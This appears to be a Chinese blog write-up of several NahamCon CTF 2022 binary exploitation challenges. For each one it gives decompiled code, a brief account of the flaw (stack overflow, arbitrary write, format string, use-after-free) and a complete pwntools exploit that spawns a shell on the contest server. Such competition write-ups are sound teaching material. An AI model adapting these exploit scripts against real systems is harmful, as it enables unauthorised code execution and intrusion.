NahamCon CTF 2022 pwn 部分writeup

原创

z1r0. 于 2022-05-02 14:29:26 发布 47 收藏

分类专栏： buuctf 题目 文章标签： pwn

本文链接：https://blog.csdn.net/zzq487782568/article/details/124536286

NahamCon CTF 2022 pwn 部分writeup

Babiersteps

ret2text

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.nahamcon.com', 32752)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shell = 0x4011C9
p1 = b'a' * (0x70 + 8) + p64(shell)
r.sendline(p1)

r.interactive()
```

Detour

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+8h] [rbp-18h] BYREF
  __int64 v5[2]; // [rsp+10h] [rbp-10h] BYREF

  v5[1] = __readfsqword(0x28u);
  printf("What: ");
  __isoc99_scanf("%zu", &v4);
  getchar();
  printf("Where: ");
  __isoc99_scanf("%ld", v5);
  getchar();
  *(_QWORD *)((char *)&base + v5[0]) = v4;
  return 0;
}
```

任意地址写，控制好index就可以了。这里直接打.fini_array为win函数就行。

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.nahamcon.com', 31704)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shell = 0x401209

r.sendlineafter('What: ', str(shell))

final_addr = 0x4031C8
r.sendlineafter('Where: ', '-616')

r.interactive()
```

Babysteps

```
void ask_baby_name() {
  char buffer[BABYBUFFER];
  puts("First, what is your baby name?");
  return gets(buffer);
}
```

栈溢出，可以写shellcode，在调试的时候发现输入进去的值被eax所控制，所以直接找个jmp eax的gadgets就行。
还有一种方法是ret2libc，实在想不到的是题目用的2.35的libc。。。。。。

```python
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.nahamcon.com', 30796)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shellcode = asm(shellcraft.sh())
jmp_eax = 0x08049545

p1 = b'a' * (0x18 + 4) + p32(jmp_eax) + shellcode
r.sendline(p1)

r.interactive()
```

Reading list

```
int __fastcall print_list(const char *a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  if ( count )
  {
    printf("%s's reading list\n", a1);
    for ( i = 0; i < count; ++i )
    {
      printf("%d. ", (i + 1));
      printf(heap_ptr[0][i]);
      puts(&byte_20B9);
    }
  }
  else
  {
    puts("No books in the list");
  }
  return puts(&byte_20B9);
}
```

格式化漏洞，泄露出libc，利用格式化打free_hook为one_gadget即可。

```python
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'
```

```python
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.nahamcon.com', 31143)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

menu = '> '

def add(name):
    r.sendlineafter(menu, '2')
    r.sendlineafter('Enter the book name: ', name)

def show():
    r.sendlineafter(menu, '1')

def delete(index):
    r.sendlineafter(menu, '3')
    r.sendlineafter(': ', str(index))

def edit(name):
    r.sendlineafter(menu, '4')
    r.sendlineafter('What is your name: ', name)

base_offest = 11
libc_offest = 23

r.sendlineafter('What is your name: ', 'a' * 8)

add('%23$p')
show()
r.recvuntil('1. 0x')
__libc_start_main_addr = int(r.recv(12), 16) - 243
li('__libc_start_main_addr = ' + hex(__libc_start_main_addr))
libc = ELF('./2.31/libc-2.31.so')
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
free_hook = libc_base + libc.sym['__free_hook']
one = [0xe3b2e, 0xe3b31, 0xe3b34]
one_gadget = one[1] + libc_base
li('one_gadget = ' + hex(one_gadget))

first = one_gadget - (one_gadget >> 16 << 16)
li('first = ' + hex(first))
second = (((one_gadget >> 16 << 16) - (one_gadget >> 32 << 32)) >> 16)
li('second = ' + hex(second))
third = (one_gadget >> 32)
li('third = ' + hex(third))

p1 = p64(free_hook)+p64(free_hook+2)+p64(free_hook+4)
edit(p1)

p2 = '%' + str(first).rjust(6, '0') + 'c%0022$hn'
li(p2)
```

```
add(p2)

p3 = '%' + str(second).rjust(6, '0') + 'c%0023$hn'
add(p3)

p4 = '%' + str(third).rjust(6, '0') + 'c%0024$hn'
add(p4)

delete(1)

r.interactive()
```

Free Real Estate(赛后）

```
void remove_property()
{
  if ( *(heap_ptr + 6) )
    free(*(heap_ptr + 6));                      // uaf
  if ( *(heap_ptr + 4) )
  {
    free(*(heap_ptr + 4));
    *(heap_ptr + 4) = 0LL;
  }
  free(heap_ptr);
  heap_ptr = 0LL;
}
```

漏洞点就出在了上面。有一个uaf，这个题目的代码量太大了，感觉就考逆向了。。。逆清楚就能出。这个题目是libc-2.31的所以我们有如下攻击思路
因为有uaf，而这个uaf刚好可以任意申请大小，所以我们可以直接创建一个大的chunk通过unsortedbin来泄露出libc。然后利用uaf，将free_hook放进去，打free_hook为one_gadget即可。这里就不详细说了，看wp

```
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
    r = remote('challenge.nahamcon.com', 30968)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(street_name_size, street_name, comment_size, comment=''):
    r.sendlineafter('> ', '2')
    r.sendlineafter('Enter the house number: ', str(10))
    r.sendlineafter('What is the length of the street name: ', str(street_name_size))
    r.sendlineafter('Enter the street name: ', street_name)
    r.sendlineafter('What is the price of the property?: ', str(10))
```

```
    if comment_size == 0:
        r.sendlineafter('Would you like to add a comment for this property? [y/n]: ', 'n')
    else:
        r.sendlineafter('Would you like to add a comment for this property? [y/n]: ', 'y')
        r.sendlineafter('What is the length of the comment?: ', str(comment_size))
        r.sendlineafter('Enter the comment: ', comment)

def edit(street_name_size, street_name, comment_size, comment='', change_comment=False, iob=False):
    r.sendlineafter('> ', '4')
    r.sendlineafter('Would you like to change the house number? [y/n]: ', 'n')
    if street_name_size == 0:
        r.sendlineafter('Would you like to change the street? [y/n]: ', 'n')
    else:
        r.sendlineafter('Would you like to change the street? [y/n]: ', 'y')
        r.sendlineafter('Enter the new street name length: ', str(street_name_size).encode())
        r.sendlineafter('Enter the new street name: ', street_name)
    r.sendlineafter('Would you like to change the price of the property? [y/n]: ', 'n')
    if comment_size == 0:
        r.sendlineafter('Would you like to change the comment? [y/n]: ', 'n')
    else:
        if not change_comment:
            r.sendlineafter('Would you like to add a comment for this property? [y/n]: ', 'y')
            r.sendlineafter('What is the length of the comment?: ', str(comment_size))
            r.sendlineafter('Enter the comment: ', comment)
        else:
            r.sendlineafter('Would you like to change the comment? [y/n]: ', 'y')
            r.sendlineafter('Enter the new comment length: ', str(comment_size))
            if iob:
                return
            r.sendlineafter('Enter the new comment: ', comment)

def delete():
    r.sendlineafter('> ', '3')

def show():
    r.sendlineafter('> ', '1')

def change(name_size, name):
    r.sendlineafter('> ', '5')
    r.sendlineafter('What is the length of your new name?: ', str(name_size))
    r.sendlineafter('Enter your new name: ', name)

r.sendlineafter('Enter your name: ', 'a' * 8)

add(0x10, 'bbbb', 0x427, 'cccc')
edit(0x20, 'dddd', 0)

delete()
add(0x10, 'aaaaa', 0)

show()

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./2.31/libc-2.31.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
system = libc_base + libc.sym['system']
one = [0xe3b2e, 0xe3b31, 0xe3b34]
```

```
one_gadget = one[1] + libc_base

change(0x427, 'dddd')
delete()

add(0x89, b'eeee', 0x20, b'ffff')
delete()

add(0x49, b'gggg', 0x49, b'hhhh')
edit(0x59, b'iii', 0)
delete()

add(0x20, b'jjjj', 0)
edit(0, b'kkkk', 0x20, p64(free_hook), True)

edit(0x49, b'a'*0x8, 0)

change(500, p64(0)*31 + p64(0x51))

edit(0x20, b'a'*0x8, 0)

edit(0x49, p64(system), 0)

edit(0, p64(system), 13, b'/bin/sh\x00', True)
edit(0, p64(system), 0x90, b'', True, True)

r.interactive()
```

先到这里吧（开溜